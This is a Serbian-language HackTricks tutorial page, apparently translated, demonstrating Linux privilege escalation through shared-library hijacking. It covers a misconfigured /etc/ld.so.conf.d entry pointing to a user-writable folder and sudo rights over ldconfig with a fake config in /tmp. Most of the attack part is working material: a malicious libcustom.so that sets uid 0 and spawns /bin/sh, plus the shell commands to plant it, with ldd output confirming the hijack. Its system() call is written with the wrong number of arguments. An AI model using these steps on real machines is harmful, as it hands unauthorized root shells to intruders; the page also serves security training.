ld.so privesc exploit example
Reading time: 4 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pripremite okruženje
U sledećem odeljku možete pronaći kod datoteka koje ćemo koristiti za pripremu okruženja
#include <stdio.h>
#include "libcustom.h"
int main(){
printf("Welcome to my amazing application!\n");
vuln_func();
return 0;
}
- Kreirajte te datoteke na vašem računaru u istom folderu
- Kompajlirajte biblioteku:
gcc -shared -o libcustom.so -fPIC libcustom.c
- Kopirajte
libcustom.so
u/usr/lib
:sudo cp libcustom.so /usr/lib
(root privilegije) - Kompajlirajte izvršnu datoteku:
gcc sharedvuln.c -o sharedvuln -lcustom
Proverite okruženje
Proverite da li se libcustom.so učitava iz /usr/lib i da li možete izvršiti binarnu datoteku.
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
libcustom.so => /usr/lib/libcustom.so (0x00007fb27ff4d000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb27fb83000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb28014f000)
$ ./sharedvuln
Welcome to my amazing application!
Hi
Exploit
U ovom scenariju pretpostavićemo da je neko kreirao ranjiv ulaz unutar datoteke u /etc/ld.so.conf/:
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
Ranljiva fascikla je /home/ubuntu/lib (gde imamo pravo pisanja).
Preuzmite i kompajlirajte sledeći kod unutar te putanje:
//gcc -shared -o libcustom.so -fPIC libcustom.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void vuln_func(){
setuid(0);
setgid(0);
printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
Sada kada smo napravili zlu libcustom biblioteku unutar pogrešno konfigurisane putanje, potrebno je da sačekamo na ponovno pokretanje ili da korisnik root izvrši ldconfig
(u slučaju da možete izvršiti ovu binarnu datoteku kao sudo ili da ima suid bit, moći ćete da je izvršite sami).
Kada se to dogodi, ponovo proverite odakle sharevuln
izvršna datoteka učitava libcustom.so
biblioteku:
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
Kao što možete videti, učitava se iz /home/ubuntu/lib
i ako bilo koji korisnik to izvrši, izvršiće se shell:
$ ./sharedvuln
Welcome to my amazing application!
I'm the bad library
$ whoami
ubuntu
note
Imajte na umu da u ovom primeru nismo eskalirali privilegije, ali modifikovanjem izvršenih komandi i čekanjem da root ili drugi privilegovani korisnik izvrši ranjivi binarni fajl moći ćemo da eskaliramo privilegije.
Druge pogrešne konfiguracije - Ista ranjivost
U prethodnom primeru smo simulirali pogrešnu konfiguraciju gde je administrator postavio neprivilegovanu fasciklu unutar konfiguracionog fajla unutar /etc/ld.so.conf.d/
.
Ali postoje i druge pogrešne konfiguracije koje mogu izazvati istu ranjivost, ako imate dozvole za pisanje u nekom konfiguracionom fajlu unutar /etc/ld.so.conf.d
, u fascikli /etc/ld.so.conf.d
ili u fajlu /etc/ld.so.conf
možete konfigurisati istu ranjivost i iskoristiti je.
Eksploatacija 2
Pretpostavimo da imate sudo privilegije nad ldconfig
.
Možete naznačiti ldconfig
odakle da učita konf fajlove, tako da možemo iskoristiti to da nateramo ldconfig
da učita proizvoljne fascikle.
Dakle, hajde da kreiramo fajlove i fascikle potrebne za učitavanje "/tmp":
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
Sada, kao što je navedeno u prethodnom eksploitu, napravite zlu biblioteku unutar /tmp
.
I konačno, učitajte putanju i proverite odakle se binarni fajl učitava biblioteku:
ldconfig -f fake.ld.so.conf
ldd sharedvuln
linux-vdso.so.1 => (0x00007fffa2dde000)
libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
Kao što možete videti, imajući sudo privilegije nad ldconfig
, možete iskoristiti istu ranjivost.
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.